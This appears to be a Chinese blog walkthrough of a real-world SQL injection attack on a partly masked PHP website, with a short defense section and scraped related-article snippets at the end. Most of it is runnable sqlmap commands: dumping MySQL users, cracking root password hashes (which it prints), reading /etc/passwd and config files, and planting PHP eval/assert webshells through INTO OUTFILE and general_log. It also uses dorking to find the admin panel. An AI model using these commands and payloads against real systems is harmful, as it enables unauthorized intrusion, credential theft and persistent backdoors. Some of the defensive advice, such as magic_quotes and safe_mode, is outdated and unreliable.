使用sqlmap对某php网站进行注入实战及安全防范

使用sqlmap对某php网站进行注入实战

一般来讲一旦网站存在sql注入漏洞,通过sql注入漏洞轻者可以获取数据,严重的将获取webshell以及服务器权限,但在实际漏洞利用和测试过程中,也可能因为服务器配置等情况导致无法获取权限。

1.1php注入点的发现及扫描

1.使用漏洞扫描工具进行漏洞扫描

将目标url地址放在wvs中进行漏洞扫描,如图1所示,扫描结果显示存在SQL盲注和SQL注入,其漏洞存在的参数为同一页面。

图1使用wvs扫描目标网站

2.使用sqlmap工具对注入点进行漏洞验证

如图2所示,使用sqlmap注入检查命令进行验证:

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34

验证结果显示该url确实存在sql注入漏洞,且数据库为mysql。

图2使用sqlmap工具对注入点进行漏洞验证

1.2使用sqlmap进行sql注入测试

1.sql注入payload

如图3所示,通过sqlmap或者该注入点存在boolean-based blind、 AND/OR time-based blind 、UNION query三种类型漏洞,跟wvs扫描结果一致。sqlmap漏洞测试完毕后会自动给出相应的payload,例如对第一个可以在浏览器中进行测试:http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34%20AND%202952=2952

图3 sql注入payload

2.获取当前数据库名称

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --current-db获取当前数据库为xbase,如图4所示。

图4获取当前数据库名称

3.获取当前用户

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --current-user命令直接获取当前数据库账号为[email protected],如图5所示。

图5获取当前数据库用户账号

4.查看数据库用户及密码

由于本例注入点是mysql root账号,因此可以通过sqlmap命令来查看数据库用户(--users)及数据库密码(--password),如图6所示,执行命令如下:

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --users --password

图6查看数据库用户及密码

5.破解并获取数据库明文密码

(1)在线破解并整理数据库密码

将密码哈希值去掉前面的“*”号,将其复制到www.cmd5.com及somd5.com进行破解,注意该值需要选择密码类型mysql5,整理查询结果如下所示:

root,127.0.0.1,10265996C62D6B0481DB263D7D3AB3B088092EA4

root,zjweb.***.com.cn,1A1AB09EB2AF0018D8A2196D4300A46417EB167D hkhxg

root,localhost,21F0CB490C734AE18C25C945E5A95065B3FE8858 localhost

root,%,9427205DF4B13AF3CFDF9D5A4193C1B143492BA3 asphxg

(2)还可以通过--sql-shell直接查询数据库用户及密码

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --sql-shell

执行上面命令后,通过查询命令来获取密码,如图7所示:

select host,user,password from mysql.user

图7查询mysql数据库host、user及密码

(3)对服务器端口进行扫描

masscan -p 3306 114.**.***.***

如果开放数据库端口,则可以直接进行连接,扫描结果显示仅仅开放80端口。

6.一些常用的sqlmap命令总结

(1)查看所有数据库

sqlmap.py -u url --dbs

(2)查看某个数据库下所有表

sqlmap.py -u url -D databasename --table

(3)获取列

sqlmap.py -u url -D mysql -T user --column

(4)导出数据

sqlmap.py -u url -D mysql -T user --dump

(5)数据库中表详细记录统计

sqlmap.py -u url -D mysql --count

(6)通过sql-shell来执行查询命令

sqlmap.py -u url --sql-shell

1.3php网站webshell获取

1.php+mysql网站webshell获取思路

(1)通过phpmyadmin登录执行导出获取

select '<?php @eval($_POST[a]);?>'INTO OUTFILE 'D:/work/www/a.php'

(2)general_log配置文件获取

show global variables like "%genera%";

set global general_log=off;

set global general_log='on';

SET global general_log_file='D:/phpStudy/WWW/cmd.php';

SELECT '<?php assert($_POST["cmd"]);?>';

(3)sqlmap os-shell获取

sqlmap -u url --os-shell

(4)后台文件上传漏洞利用及获取

通过注入点获取管理员密码及后台地址,登录后台寻找上传地址及上传漏洞来获取webshell。

(5)文件包含漏洞来获取webshell

2.直接获取webshell失败

对于root账号而言,一般情况都可以通过--os-shell命令来获取webshell,如图8所示,执行命令后,并未获取shell。

图8获取shell失败

3.获取真实物理路径

通过测试,在网站根目录下发现存在phpinfo页面,如图9所示,在该页面中可以看到数据库为内网IP地址192.168.77.88,真实物理路径为/usr/local/apache/htdocs

图9获取网站正式路径

4.写入文件测试

知道物理路径,可以通过sqlmap进行文件读取和写入命令,执行命令:

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-write="C:\tools\sqlmap\1.php"  --file-dest="/usr/local/apache/htdocs/happystudy/shell.php"

如图10所示,sqlmap执行命令成功,通过url对文件进行访问测试,页面不存在。

图10写入文件测试

5.本地搭建环境测试写入文件

前面写入文件执行成功,怀疑是命令有问题,因此在本地搭建环境进行测试,测试命令为:

sqlmap.py -d mysql://root:[email protected]:3306/mysql  --file-write="C:\tools\sqlmap\1.php"  --file-dest="C:\ComsenzEXP\wwwroot\shell.php"

结果在C:\ComsenzEXP\wwwroot\目录下成功写入shell.php文件,为此分析原因可能为:

(1)该目录无写入权限

(2)magic_quotes_gpc值为on

6.尝试general_log文件获取webshell方法

(1)查看genera文件配置情况

show global variables like "%genera%";

(2)关闭general_log

set global general_log=off;

(3)通过general_log选项来获取webshell

set global general_log='on';

SET global general_log_file='/usr/local/apache/htdocs/shell.php';

SELECT '<?php assert($_POST["cmd"]);?>';

由于以上命令需要在mysql客户端命令行或者phpmyadmin中进行执行,本案例中不具备,通过--sql-shell以及--sql-query命令均未能实现。

7.使用pangolin工具进行导出webshell

如图11所示,通过pangolin对该sql注入地址进行测试,尝试将webshell导出到网站根目录/usr/local/apache/htdocs/xxx.php文件,结果显示跟前面的分析情况一致。

图11使用pangolin工具进行导出webshell失败

8.读取文件测试

(1)读取文件

如图12所示,依次执行命令,分别读取/etc/passwd、/usr/local/apache/htdocs/index.php等文件

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-read="/usr/local/apache/htdocs/index.php"

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-read="/etc/passwd"

图12读取系统文件及其他文件

(2)获取数据库密码

sqlmap会将获取的文件自动保存到当前系统用户下C:\Users\john\.sqlmap\output\www.****.com.cn\files,如图13所示,读取conn.php文件的内容,成功获取数据库root账号密码。

图13读取源代码获取root密码

1.4艰难的后台地址获取

1.使用havij对后台进行扫描

如图14所示,通过havij等工具对目标后台地址进行获取,在本例中获取的是普通用户的登录地址,未获取真正的后台地址。

图14使用havij对后台地址进行扫描

2.通过google成功获取后台地址

后面使用百度对该url地址进行查询“site:somesite.com 后台管理”未能获取相关信息,但在google中成功获取其后台地址,如图15所示。有时候google黑客技术还是挺管用的。从url中可以看到该管理地址很难扫描获取。

图15成功获取后台管理地址

3.获取真正的管理表

通过sqlmap对该数据库中所有的表进行查询,发现存在多个涉及密码的表,admin、admin_files、admin_groups、tb_admin,依次进行和密码破解,将其进行后台登陆,均为成功登录。后面通过读取登录地址的源代码成功获取,其真正的管理员表为tygb,如图16所示,通过sql-shell进行查询:select * from tygb

图16获取真正的管理表

4.登录后台管理

如图17所示,登录成功后,可以看到其cms系统存在多个系统,对每个管理入口进行查看和测试,虽然某些模块存在上传,经过测试,无写入权限。

图17登录后台进行管理

5.fckeditor漏洞验证

在后台中发现其使用了fckeditor编辑器,成功找到其fckeditor编辑器文件测试页面,并对其进行测试,如图18,有无文件权限问题,该漏洞无法利用。

http://www.***.com.cn/mes/news/fckeditor/editor/filemanager/connectors/uploadtest.html

图18文件上传漏洞无法利用

6.网站旁注漏洞利用失败

后面对该目标网站进行同IP地址域名反查,发现该IP下存在多个域名,通过仔细的核对,发现前面的sql注入点可以读取其数据库,通过获取后台密码,成功进入后台,但也无用,系统存在错误,fckeditor无法上传文件,也无法写入文件。

1.5php网站sql注入防御及总结

1.渗透总结

(1)本次渗透主要在于对mysql+php架构下sql注入点注入漏洞sqlmap的利用

(2)利用sqlmap的文件读取和写入功能写入webshell

(3)有些情况下即使存在漏洞,也可能无法获取webshell

2.php网站sql注入防御

(1)过滤一些常见的数据库操作关键字,例如对select ,insert,update,delete,and,*等或通过系统函数addslashes对内容进行过滤。

(2)php配置文件php.ini中register_globals=off;设置为关闭状态

(3)对于sql语句加以封装,避免直接暴漏SQL语句,使用prepared statements(预处理语句)和参数化的查询。这些SQL语句被发送到数据库服务器,它的参数全都会被单独解析。使用PDO和Mysqli,攻击者想注入恶意的SQL是不可能的。

//使用PDO

$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');

$stmt->execute(array(':name' => $name));

foreach ($stmt as $row) {

// do something with $row

}

//使用Mysqli

$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');

$stmt->bind_param('s', $name);

$stmt->execute();

$result = $stmt->get_result();

while ($row = $result->fetch_assoc()) {

// do something with $row

}

//PDO创建一个连接示例

$dbConnection = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass');

$dbConnection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$dbConnection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

(4)开启PHP安全模式safe_mode=on

(5)打开magic_quotes_gpc来防止SQL注入,默认为关闭,开启后自动把用户提交sql查询语句进行转换把"'"转换成"\'"

(6)控制错误信息输出,关闭错误信息提示,将错误信息写到系统日志。

(7)网站安装waf防护软件

参考文章:

http://johan.viekee.com/?p=174

更多精彩内容,欢迎查看并订阅sqlmap攻防实战专栏

原文地址:http://blog.51cto.com/simeon/2121891

时间: 2024-11-13 06:40:03

使用sqlmap对某php网站进行注入实战及安全防范的相关文章

SQLiScanner:一款基于SQLMAP和Charles的被动SQL 注入漏洞扫描工具

项目地址:SQLiScanner 简介 叕一款基于SQLMAP和Charles的被动SQL 注入漏洞扫描工具 从内部安全平台 分离出来的一个模块, 支持 Har 文件的扫描(搭配 Charles 使用: Tools=>Auto Save) 特性 邮箱通知 任务统计 sqlmap 复现命令生成 依赖 Python 3.x Django 1.9 PostgreSQL Celery sqlmap redis 支持平台 Linux osx 截图 安装 克隆项目到本地 git clone https://

手工注入——MySQL手工注入实战和分析

今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 查看页面是否报错.这里通过and 1=1 发现页面正常.如下图. 接下来,咱们再构造 and 1=2 发现页面报错,说明页面存在注入点.如下图. 第二步,判断字段数 通过 order by 语句,如果后面输入的数字大于数据库的字段数,页面就会报错,通过这个,咱们先输入 order by 4 发现页面

sqlmap攻击ASP、PHP有注入点的网站

找到注入点 1.设置sqlmap -u 地址 --dbs --current-user, 2.设置sqlmap -u 地址 --tables猜解表名,或者--dbms mysql --tables 3.设置sqlmap -u 地址 -T uname(表名) --columns猜解列名 4.设置sqlmap -u 地址 -T uname(表名) -C login-name,pass,username(列名,用逗号分隔) --dump获取数据 5.获取登录账号和密码后,找到管理登录口,一般比较隐蔽,

通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解

0x1:工具和环境介绍 dvwa:渗透测试环境 BurpSuite:强大的WEB安全测试工具 sqlmap:强大的sql注入工具 以上工具和环境都在kali linux上安装和配置. 0x2:步骤说明 配置Burp Suite和浏览器. 这一步比较简单,主要是用来抓取用来sql注入的信息. 在Burp中设置proxy代理:127.0.0.1:8080,配置浏览器使用代理,这样浏览器的request信息就可以被Burp抓取了. 抓取登录信息 在Burp的Proxy界面可以抓取到浏览器访问的信息,如

网站被注入乱码

生产环境: 操作系统:Window Sever 2003 数据库系统:SQL Server 2005 WEB服务器:IIS 6.0 问题:二级网站的底部注入乱码,类似一些链接. 分析和解决问题: 1.找到相对应的程序页面查看源码,源码当中并没有这些乱码,说明乱码是注入到数据库中 去了,是一些随机的数据. 2.通过分析相应的程序页面找到对应数据库的表,select一下,发现4625行,并发现相似页面的一些乱码,通过SQL语句:"delete * from tb_link where id>'

python打造一个分析网站SQL注入的脚本

前言: 昨天晚上其实就已经写完代码.只不过向FB投稿了,打算延迟一晚上在写博客 所有才到今天早上写.好了,接下来进入正题. 思路: 1.从网站源码中爬取那些类适于:http://xxx.com/xx.php?id=xxx的链接 2.将这些爬取到的链接写入一个URL 3.加入payload 4.用正则过滤掉一些残缺不全的链接 5.将一些报错语句加入一个列表 6.从报错的语句中寻找错误 7.判断字符型注入或数字型注入 代码: 1 import requests,re,time,os 2 from t

[网站安全] [实战分享]WEB漏洞挖掘的一些经验分享

WEB漏洞有很多种,比如SQL注入,比如XSS,比如文件包含,比如越权访问查看,比如目录遍历等等等等,漏洞带来的危害有很多,信息泄露,文件上传到GETSHELL,一直到内网渗透,这里我想分享的最主要的是SQL注入,因为尽管过去了很多年,SQL注入依然是现在最大的一个问题,我们打开wooyun,看看已经注册的乌云厂商,其中能看到厂商漏洞分布的一个饼状图,其中占领面积最大的就是SQL注入,那么SQL注入带来的危害有很多了,比如最后的GETSHELL,比如百万级用户信息泄露的基础都是SQL注入,我接触

SQL注入实战新手教程

本文章仅用于网络安全交流学习,严禁用于非法用途,否则后果自负 一.如何批量找SQL注入(工具+资源都打包):http://www.liuwx.cn/post-149.html 1.SQL注入点搜索关键字集合:http://blog.sina.com.cn/s/blog_6910b7580101ci62.html 谷歌SQL关键字:https://www.exehack.net/779.html 2.我测试出来较好用的关键字:inurl:common.asp?id=  inurl:asp?id= 

PHP网站常见安全漏洞及相应防范措施总结

目前,基于PHP的网站开发已经成为目前网站开发的主流,本文笔者重点从PHP网站攻击与安全防范方面进行探究,旨在减少网站漏洞,希望对大家有所帮助! 一.常见PHP网站安全漏洞 对于PHP的漏洞,目前常见的漏洞有五种.分别是Session文件漏洞.SQL注入漏洞.脚本命令执行漏洞.全局变量漏洞和文件漏洞.这里分别对这些漏洞进行简要的介绍. 1.session文件漏洞 Session攻击是黑客最常用到的攻击手段之一.当一个用户访问某一个网站时,为了免客户每进人一个页面都要输人账号和密码,PHP设置了S